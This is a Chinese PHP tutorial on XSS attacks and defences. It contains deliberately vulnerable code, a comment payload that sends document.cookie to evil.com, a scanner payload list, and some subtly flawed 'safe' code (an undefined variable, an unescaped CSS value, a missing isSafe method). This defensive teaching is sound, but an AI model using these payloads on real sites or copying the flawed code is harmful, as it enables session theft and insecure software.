XSS攻击防护
什么是XSS攻击
XSS(Cross-Site Scripting,跨站脚本攻击)是一种代码注入攻击,攻击者通过在网页中注入恶意的JavaScript代码,当其他用户访问这些页面时,恶意代码会在用户的浏览器中执行。
XSS攻击的危害
- 窃取用户Cookie:获取用户的会话信息
- 键盘记录:记录用户的键盘输入
- 钓鱼攻击:伪造登录界面窃取密码
- 网页篡改:修改网页内容
- 重定向攻击:将用户重定向到恶意网站
- 传播恶意软件:下载并执行恶意软件
XSS攻击的类型
1. 存储型XSS(Persistent XSS)
恶意代码被存储在服务器数据库中,当其他用户访问包含这些数据的页面时触发。
<?php
// 危险的示例 - 未对用户输入进行过滤
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$comment = $_POST['comment'];
$username = $_POST['username'];
// 直接存储到数据库,未进行过滤
$sql = "INSERT INTO comments (username, comment) VALUES (?, ?)";
$stmt = $pdo->prepare($sql);
$stmt->execute([$username, $comment]);
}
// 显示评论
$sql = "SELECT * FROM comments ORDER BY created_at DESC";
$stmt = $pdo->query($sql);
$comments = $stmt->fetchAll();
foreach ($comments as $comment) {
// 危险:直接输出用户输入
echo "<div class='comment'>";
echo "<strong>" . $comment['username'] . ":</strong>";
echo "<p>" . $comment['comment'] . "</p>"; // XSS漏洞
echo "</div>";
}
// 攻击示例
// 用户输入评论: <script>alert('XSS')</script>
// 或者更恶意的: <script>document.location='http://evil.com/steal.php?cookie='+document.cookie</script>
?>
2. 反射型XSS(Reflected XSS)
恶意代码通过URL参数传递,服务器将这些参数反射回页面,立即触发攻击。
<?php
// 危险的搜索功能
if (isset($_GET['search'])) {
$searchTerm = $_GET['search'];
echo "搜索结果: " . $searchTerm; // 直接输出,存在XSS
}
// 攻击URL示例
// http://example.com/search.php?search=<script>alert('XSS')</script>
// 另一个例子
$name = $_GET['name'];
echo "欢迎, " . $name; // 反射型XSS
// 攻击URL
// http://example.com/welcome.php?name=<script src="http://evil.com/malicious.js"></script>
?>
3. DOM型XSS
攻击发生在客户端,通过修改页面的DOM结构来执行恶意代码。
<!DOCTYPE html>
<html>
<head>
<title>DOM XSS示例</title>
</head>
<body>
<div id="content"></div>
<script>
// 危险:直接使用用户输入更新DOM
var userInput = decodeURIComponent(location.hash.substr(1));
document.getElementById('content').innerHTML = userInput;
// 攻击URL
// http://example.com/page.html#<script>alert('DOM XSS')</script>
</script>
</body>
</html>
XSS攻击防护方法
1. 输出编码(Output Encoding)
对输出到HTML的内容进行编码,确保浏览器将其作为文本而非代码处理。
<?php
class XssProtection {
// HTML特殊字符编码
public static function escape($string) {
return htmlspecialchars($string, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
// HTML属性编码
public static function escapeAttr($string) {
return htmlspecialchars($string, ENT_QUOTES | ENT_HTML5, 'UTF-8');
}
// JavaScript编码
public static function escapeJs($string) {
return json_encode($string, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
}
// URL编码
public static function escapeUrl($string) {
return rawurlencode($string);
}
// CSS编码
public static function escapeCss($string) {
// 实现CSS转义
$replacements = [
'&' => '\\26',
'<' => '\\3c',
'>' => '\\3e',
'"' => '\\22',
"'" => '\\27',
'/' => '\\2f',
'=' => '\\3d'
];
return strtr($string, $replacements);
}
}
// 安全的评论显示示例
function displayComments() {
$sql = "SELECT * FROM comments ORDER BY created_at DESC";
$stmt = $pdo->query($sql);
$comments = $stmt->fetchAll();
foreach ($comments as $comment) {
echo "<div class='comment'>";
echo "<strong>" . XssProtection::escape($comment['username']) . ":</strong>";
echo "<p>" . XssProtection::escape($comment['comment']) . "</p>";
echo "<small>" . XssProtection::escape($comment['created_at']) . "</small>";
echo "</div>";
}
}
// 安全的搜索结果显示
function displaySearchResults() {
if (isset($_GET['search'])) {
$searchTerm = $_GET['search'];
echo "<h2>搜索结果: " . XssProtection::escape($searchTerm) . "</h2>";
// 执行搜索
$sql = "SELECT * FROM articles WHERE title LIKE ?";
$stmt = $pdo->prepare($sql);
$stmt->execute(["%$searchTerm%"]);
$results = $stmt->fetchAll();
foreach ($results as $article) {
echo "<h3>" . XssProtection::escape($article['title']) . "</h3>";
echo "<p>" . XssProtection::escape(substr($article['content'], 0, 200)) . "...</p>";
}
}
}
?>
2. 使用HTML Purifier库
HTML Purifier是一个强大的HTML过滤器,可以移除恶意代码同时保留安全的HTML标签。
<?php
// 首先需要安装HTML Purifier
// composer require ezyang/htmlpurifier
require 'vendor/autoload.php';
class SafeHtml {
private $purifier;
public function __construct() {
$config = HTMLPurifier_Config::createDefault();
// 配置白名单 - 允许的HTML标签
$config->set('HTML.Allowed', 'p,br,strong,em,u,ol,ul,li,a[href],img[src|alt]');
// 允许的目标
$config->set('URI.AllowedSchemes', ['http' => true, 'https' => true, 'mailto' => true]);
// 禁用危险元素
$config->set('HTML.SafeIframe', false);
$config->set('HTML.FlashAllowFullScreen', false);
// 设置编码
$config->set('Core.Encoding', 'UTF-8');
$this->purifier = new HTMLPurifier($config);
}
// 清理HTML内容
public function clean($html) {
return $this->purifier->purify($html);
}
// 严格模式 - 只允许文本格式
public function cleanStrict($html) {
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,br,strong,em,u');
$config->set('Core.Encoding', 'UTF-8');
$strictPurifier = new HTMLPurifier($config);
return $strictPurifier->purify($html);
}
// 允许更多HTML元素(用于管理员等)
public function cleanPermissive($html) {
$config = HTMLPurifier_Config::createDefault();
$config->set('HTML.Allowed', 'p,br,strong,em,u,ol,ul,li,a[href|title],img[src|alt|title],h1,h2,h3,h4,h5,h6,blockquote,code,pre');
$config->set('HTML.SafeObject', true);
$config->set('URI.AllowedSchemes', ['http' => true, 'https' => true, 'mailto' => true, 'ftp' => true]);
$config->set('Core.Encoding', 'UTF-8');
$permissivePurifier = new HTMLPurifier($config);
return $permissivePurifier->purify($html);
}
}
// 使用示例
$safeHtml = new SafeHtml();
// 处理用户提交的内容
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$userContent = $_POST['content'];
// 根据用户类型选择清理级别
$cleanContent = $user->isAdmin() ?
$safeHtml->cleanPermissive($userContent) :
$safeHtml->clean($userContent);
// 存储清理后的内容
$sql = "INSERT INTO posts (content) VALUES (?)";
$stmt = $pdo->prepare($sql);
$stmt->execute([$cleanContent]);
}
// 安全地显示内容
$sql = "SELECT * FROM posts ORDER BY created_at DESC";
$stmt = $pdo->query($sql);
$posts = $stmt->fetchAll();
foreach ($posts as $post) {
echo "<article class='post'>";
// 因为已经用HTML Purifier清理过,可以直接输出
echo $post['content'];
echo "</article>";
}
?>
3. Content Security Policy (CSP)
CSP是一种额外的安全层,帮助检测和缓解某些类型的攻击,包括XSS。
<?php
class CspHelper {
// 设置CSP头部
public static function setCspHeader($options = []) {
$defaultOptions = [
'default-src' => "'self'",
'script-src' => "'self' 'unsafe-inline'",
'style-src' => "'self' 'unsafe-inline'",
'img-src' => "'self' data: https:",
'font-src' => "'self'",
'connect-src' => "'self'",
'frame-ancestors' => "'none'",
'base-uri' => "'self'",
'form-action' => "'self'",
'object-src' => "'none'",
'media-src' => "'self'",
'manifest-src' => "'self'"
];
$options = array_merge($defaultOptions, $options);
$policies = [];
foreach ($options as $directive => $value) {
$policies[] = $directive . ' ' . $value;
}
$cspValue = implode('; ', $policies);
header("Content-Security-Policy: $cspValue");
}
// 严格CSP - 仅允许自托管资源
public static function setStrictCsp() {
self::setCspHeader([
'script-src' => "'self'",
'style-src' => "'self'",
'img-src' => "'self' data:",
'font-src' => "'self'",
'connect-src' => "'self'",
'frame-ancestors' => "'none'",
'base-uri' => "'self'",
'form-action' => "'self'",
'object-src' => "'none'",
'media-src' => "'self'"
]);
}
// 开发环境CSP - 允许内联脚本
public static function setDevelopmentCsp() {
self::setCspHeader([
'script-src' => "'self' 'unsafe-inline' 'unsafe-eval'",
'style-src' => "'self' 'unsafe-inline'",
'img-src' => "'self' data: https:",
'connect-src' => "'self' ws: wss:",
'object-src' => "'none'"
]);
}
// 报告模式 - 不阻止违规行为,只报告
public static function setReportOnlyCsp($reportUri) {
$options = [
'default-src' => "'self'",
'script-src' => "'self'",
'style-src' => "'self'",
'img-src' => "'self'",
'report-uri' => $reportUri
];
$policies = [];
foreach ($options as $directive => $value) {
$policies[] = $directive . ' ' . $value;
}
$cspValue = implode('; ', $policies);
header("Content-Security-Policy-Report-Only: $cspValue");
}
}
// 在应用中使用CSP
// 在每个页面开始时调用
CspHelper::setStrictCsp();
// 或者根据环境设置不同级别的CSP
if (defined('ENVIRONMENT') && ENVIRONMENT === 'development') {
CspHelper::setDevelopmentCsp();
} else {
CspHelper::setStrictCsp();
}
// CSP违规报告处理器
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['csp-report'])) {
$report = json_decode(file_get_contents('php://input'), true);
// 记录违规报告
$logEntry = [
'timestamp' => date('Y-m-d H:i:s'),
'violated-directive' => $report['csp-report']['violated-directive'] ?? 'unknown',
'blocked-uri' => $report['csp-report']['blocked-uri'] ?? 'unknown',
'document-uri' => $report['csp-report']['document-uri'] ?? 'unknown',
'original-policy' => $report['csp-report']['original-policy'] ?? 'unknown'
];
file_put_contents('csp_violations.log', json_encode($logEntry) . "\n", FILE_APPEND);
header('HTTP/1.1 204 No Content');
exit;
}
?>
4. HTTP安全头部
设置适当的HTTP安全头部可以帮助防止XSS攻击。
<?php
class SecurityHeaders {
// 设置所有安全相关的HTTP头部
public static function setAll() {
self::setXssProtection();
self::setContentTypeOptions();
self::setFrameOptions();
self::setStrictTransportSecurity();
self::setReferrerPolicy();
self::setPermissionsPolicy();
}
// X-XSS-Protection(已废弃,但为了兼容旧浏览器)
public static function setXssProtection() {
header("X-XSS-Protection: 1; mode=block");
}
// X-Content-Type-Options
public static function setContentTypeOptions() {
header("X-Content-Type-Options: nosniff");
}
// X-Frame-Options - 防止点击劫持
public static function setFrameOptions($option = 'DENY') {
// 选项: DENY, SAMEORIGIN, ALLOW-FROM uri
header("X-Frame-Options: $option");
}
// Strict-Transport-Security (HTTPS only)
public static function setStrictTransportSecurity($maxAge = 31536000, $includeSubDomains = true) {
if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') {
$value = "max-age=$maxAge";
if ($includeSubDomains) {
$value .= "; includeSubDomains";
}
header("Strict-Transport-Security: $value");
}
}
// Referrer Policy
public static function setReferrerPolicy($policy = 'strict-origin-when-cross-origin') {
header("Referrer-Policy: $policy");
}
// Permissions Policy (原名Feature Policy)
public static function setPermissionsPolicy() {
$features = [
'geolocation' => '()',
'microphone' => '()',
'camera' => '()',
'payment' => '()',
'usb' => '()',
'magnetometer' => '()',
'gyroscope' => '()',
'accelerometer' => '()'
];
$policies = [];
foreach ($features as $feature => $allowlist) {
$policies[] = "$feature=$allowlist";
}
header("Permissions-Policy: " . implode(', ', $policies));
}
}
// 在应用开始时设置安全头部
SecurityHeaders::setAll();
?>
5. 输入验证和过滤
<?php
class InputFilter {
// 验证和清理HTML内容
public static function filterHtml($input, $allowedTags = null) {
if ($allowedTags === null) {
// 默认允许的标签
$allowedTags = '<p><br><strong><em><u><ol><ul><li>';
}
// 移除危险属性
$input = preg_replace('/on\w+\s*=\s*["\']?[^"\']*["\']?/i', '', $input);
// 移除javascript:协议
$input = preg_replace('/javascript\s*:/i', '', $input);
// 移除vbscript:协议
$input = preg_replace('/vbscript\s*:/i', '', $input);
// 移除data:协议(除了图片)
$input = preg_replace('/data:(?!image\/)/i', '', $input);
return strip_tags($input, $allowedTags);
}
// 验证URL
public static function validateUrl($url) {
// 首先验证格式
if (!filter_var($url, FILTER_VALIDATE_URL)) {
return false;
}
// 检查协议
$allowedSchemes = ['http', 'https'];
$scheme = parse_url($url, PHP_URL_SCHEME);
if (!in_array($scheme, $allowedSchemes)) {
return false;
}
// 检查是否包含javascript等
if (preg_match('/(javascript|vbscript|data):/i', $url)) {
return false;
}
return true;
}
// 清理用户输入用于特定上下文
public static function cleanForContext($input, $context) {
switch ($context) {
case 'html':
return self::filterHtml($input);
case 'attribute':
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
case 'javascript':
return json_encode($input, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
case 'css':
return preg_replace('/[<>"\'\/]/', '', $input);
case 'url':
return filter_var($url, FILTER_SANITIZE_URL);
default:
return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}
}
// 检测可疑内容
public static function isSuspicious($input) {
$suspiciousPatterns = [
'/<script[^>]*>/i',
'/javascript:/i',
'/vbscript:/i',
'/onload\s*=/i',
'/onerror\s*=/i',
'/onclick\s*=/i',
'/onmouseover\s*=/i',
'/onfocus\s*=/i',
'/onblur\s*=/i',
'/onchange\s*=/i',
'/onsubmit\s*=/i',
'/<iframe[^>]*>/i',
'/<object[^>]*>/i',
'/<embed[^>]*>/i',
'/<link[^>]*>/i',
'/<meta[^>]*>/i',
'/expression\s*\(/i'
];
foreach ($suspiciousPatterns as $pattern) {
if (preg_match($pattern, $input)) {
return true;
}
}
return false;
}
}
// 安全的表单处理示例
class SecureForm {
public function processForm($data) {
// 验证必填字段
if (empty($data['name']) || empty($data['email'])) {
throw new InvalidArgumentException('姓名和邮箱是必填的');
}
// 验证邮箱
if (!filter_var($data['email'], FILTER_VALIDATE_EMAIL)) {
throw new InvalidArgumentException('邮箱格式不正确');
}
// 检测网站字段是否包含恶意内容
if (!empty($data['website']) && !InputFilter::validateUrl($data['website'])) {
throw new InvalidArgumentException('网站URL无效');
}
// 清理和验证各个字段
$cleanData = [
'name' => InputFilter::cleanForContext($data['name'], 'html'),
'email' => filter_var($data['email'], FILTER_SANITIZE_EMAIL),
'website' => !empty($data['website']) ? $data['website'] : '',
'comment' => InputFilter::filterHtml($data['comment'] ?? ''),
'signature' => InputFilter::cleanForContext($data['signature'] ?? '', 'attribute')
];
// 检查是否有可疑内容
foreach ($cleanData as $field => $value) {
if (InputFilter::isSuspicious($data[$field] ?? '')) {
// 记录可疑活动
error_log("可疑输入检测到: 字段=$field, 值=$value");
throw new SecurityException('输入包含不安全的内容');
}
}
return $cleanData;
}
}
// 使用示例
$form = new SecureForm();
try {
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$cleanData = $form->processForm($_POST);
// 存储到数据库
$sql = "INSERT INTO contacts (name, email, website, comment, signature) VALUES (?, ?, ?, ?, ?)";
$stmt = $pdo->prepare($sql);
$stmt->execute([
$cleanData['name'],
$cleanData['email'],
$cleanData['website'],
$cleanData['comment'],
$cleanData['signature']
]);
echo "提交成功!";
}
} catch (InvalidArgumentException $e) {
echo "错误: " . $e->getMessage();
} catch (SecurityException $e) {
echo "安全错误: " . $e->getMessage();
// 可以在这里记录安全事件
}
?>
6. DOM XSS防护
<?php
class DomXssProtection {
// 生成安全的JavaScript代码
public static function generateSafeScript($data) {
// 确保数据被正确编码
$json = json_encode($data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
return "<script>
(function() {
var data = $json;
// 安全地使用数据
var element = document.getElementById('dynamic-content');
if (element) {
element.textContent = data.message; // 使用textContent而不是innerHTML
}
})();
</script>";
}
// 安全的模板渲染
public static function renderTemplate($template, $data) {
// 使用简单的模板系统
foreach ($data as $key => $value) {
// 对数据进行HTML编码
$escapedValue = htmlspecialchars($value, ENT_QUOTES, 'UTF-8');
$template = str_replace('{{' . $key . '}}', $escapedValue, $template);
}
return $template;
}
}
// 安全的前端JavaScript示例
?>
<script>
// 安全地更新DOM内容
function updateContent(elementId, content) {
var element = document.getElementById(elementId);
if (element) {
// 使用textContent而不是innerHTML
element.textContent = content;
}
}
// 安全地设置HTML内容
function setHtmlSafe(elementId, htmlContent) {
var element = document.getElementById(elementId);
if (element) {
// 如果必须设置HTML,先进行清理
var div = document.createElement('div');
div.textContent = htmlContent;
element.innerHTML = div.innerHTML;
}
}
// 安全地处理URL参数
function getUrlParam(name) {
var urlParams = new URLSearchParams(window.location.search);
var value = urlParams.get(name);
// 对参数进行解码和清理
if (value) {
return value.replace(/[<>]/g, '');
}
return null;
}
// 使用示例
document.addEventListener('DOMContentLoaded', function() {
var message = getUrlParam('message');
if (message) {
updateContent('message-display', message);
}
});
</script>
<?php
// PHP端生成安全的数据
$userData = [
'name' => htmlspecialchars($user['name'], ENT_QUOTES, 'UTF-8'),
'avatar' => htmlspecialchars($user['avatar'], ENT_QUOTES, 'UTF-8'),
'message' => htmlspecialchars($user['message'], ENT_QUOTES, 'UTF-8')
];
// 生成安全的JavaScript
echo DomXssProtection::generateSafeScript(['message' => $userData['message']]);
// 或使用模板渲染
$template = '<div class="user-card">
<h3>{{name}}</h3>
<img src="{{avatar}}" alt="{{name}}">
<p>{{message}}</p>
</div>';
echo DomXssProtection::renderTemplate($template, $userData);
?>
XSS检测和监控
1. XSS漏洞扫描器
<?php
class XssScanner {
private $url;
private $parameters;
private $payloads;
public function __construct($url, $parameters = []) {
$this->url = $url;
$this->parameters = $parameters;
// XSS测试载荷
$this->payloads = [
// 基本脚本注入
'<script>alert("XSS")</script>',
'<script>alert(document.cookie)</script>',
'<img src=x onerror=alert("XSS")>',
'<svg onload=alert("XSS")>',
// 绕过过滤的尝试
'<ScRiPt>alert("XSS")</ScRiPt>',
'<script>alert(String.fromCharCode(88,83,83))</script>',
'<script>alert(/XSS/)</script>',
'"><script>alert("XSS")</script>',
"'><script>alert('XSS')</script>",
// HTML注入
'<iframe src="javascript:alert(\'XSS\')"></iframe>',
'<body onload=alert("XSS")>',
'<input onfocus=alert("XSS") autofocus>',
// 编码尝试
'%3Cscript%3Ealert%28%22XSS%22%29%3C%2Fscript%3E',
'<script>alert("XSS")</script>',
// 其他向量
'javascript:alert("XSS")',
'<meta http-equiv="refresh" content="0;url=javascript:alert(\'XSS\')">',
'<style>@import "javascript:alert(\'XSS\')";</style>'
];
}
// 扫描XSS漏洞
public function scan() {
$vulnerabilities = [];
foreach ($this->payloads as $payload) {
$result = $this->testPayload($payload);
if ($result['vulnerable']) {
$vulnerabilities[] = $result;
}
}
return $vulnerabilities;
}
// 测试单个载荷
private function testPayload($payload) {
$testParams = [];
foreach ($this->parameters as $param => $value) {
$testParams[$param] = $payload;
}
$testUrl = $this->url . '?' . http_build_query($testParams);
// 使用curl获取响应
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $testUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (XSS Scanner)');
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($response === false) {
return ['payload' => $payload, 'vulnerable' => false, 'reason' => 'Request failed'];
}
// 检查响应中是否包含未转义的payload
$vulnerabilityTypes = $this->detectVulnerabilityType($response, $payload);
if (!empty($vulnerabilityTypes)) {
return [
'payload' => $payload,
'vulnerable' => true,
'types' => $vulnerabilityTypes,
'url' => $testUrl,
'http_code' => $httpCode
];
}
return ['payload' => $payload, 'vulnerable' => false];
}
// 检测漏洞类型
private function detectVulnerabilityType($response, $payload) {
$types = [];
// 直接脚本执行
if (strpos($response, $payload) !== false) {
$types[] = 'Reflected XSS (Direct)';
}
// 检查各种编码形式
$decodedPayload = html_entity_decode($payload);
if ($decodedPayload !== $payload && strpos($response, $decodedPayload) !== false) {
$types[] = 'Encoded XSS';
}
// 检测可能的DOM XSS
if (preg_match('/getElementById|querySelector|innerHTML|outerHTML/i', $response)) {
$types[] = 'Potential DOM XSS';
}
// 检测事件处理器
if (preg_match('/on\w+\s*=/i', $response)) {
$types[] = 'Event Handler Injection';
}
return $types;
}
// 生成报告
public function generateReport($vulnerabilities) {
$report = [
'scan_date' => date('Y-m-d H:i:s'),
'target_url' => $this->url,
'total_payloads_tested' => count($this->payloads),
'vulnerabilities_found' => count($vulnerabilities),
'vulnerabilities' => $vulnerabilities
];
return $report;
}
}
// 使用示例
$scanner = new XssScanner(
'http://example.com/search.php',
['query' => 'test', 'category' => 'books']
);
$vulnerabilities = $scanner->scan();
$report = $scanner->generateReport($vulnerabilities);
echo "XSS扫描报告:\n";
echo "扫描时间: {$report['scan_date']}\n";
echo "目标URL: {$report['target_url']}\n";
echo "测试载荷: {$report['total_payloads_tested']}\n";
echo "发现漏洞: {$report['vulnerabilities_found']}\n\n";
if (!empty($vulnerabilities)) {
echo "漏洞详情:\n";
foreach ($vulnerabilities as $vuln) {
echo "- 载荷: {$vuln['payload']}\n";
echo " 类型: " . implode(', ', $vuln['types']) . "\n";
echo " URL: {$vuln['url']}\n\n";
}
} else {
echo "未发现XSS漏洞\n";
}
?>
最佳实践总结
1. 永远不要相信用户输入
<?php
// 错误的做法
echo $_GET['message'];
// 正确的做法
echo htmlspecialchars($_GET['message'], ENT_QUOTES, 'UTF-8');
// 更好的做法 - 使用专门的库
echo $xssProtection->escape($_GET['message']);
?>
2. 根据上下文选择正确的编码方式
<?php
// HTML内容
echo htmlspecialchars($content, ENT_QUOTES, 'UTF-8');
// HTML属性
echo '<input value="' . htmlspecialchars($value, ENT_QUOTES, 'UTF-8') . '">';
// JavaScript
echo '<script>var data = ' . json_encode($data) . ';</script>';
// CSS
echo '<div style="background: ' . $cssValue . '">';
?>
3. 使用白名单而不是黑名单
<?php
// 好的做法:明确允许的标签
$allowedTags = '<p><br><strong><em>';
$cleanHtml = strip_tags($userInput, $allowedTags);
// 使用HTML Purifier进行更精确的控制
$cleanHtml = $htmlPurifier->purify($userInput);
?>
4. 实施多层防护
<?php
// 1. 输入验证
if (!InputFilter::isSafe($input)) {
throw new SecurityException('输入不安全');
}
// 2. 输出编码
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
// 3. CSP头部
CspHelper::setStrictCsp();
// 4. 其他安全头部
SecurityHeaders::setAll();
?>
5. 保持更新和监控
<?php
// 定期扫描漏洞
$schedule->job(new XssScannerJob())->daily();
// 监控可疑活动
$xssMonitor = new XssMonitor();
$xssMonitor->checkRequests();
// 使用最新版本的库和框架
// composer update
?>
通过实施这些XSS防护措施,你可以大大提高Web应用程序的安全性,保护用户免受恶意脚本的攻击。记住,安全是一个持续的过程,需要不断学习和改进。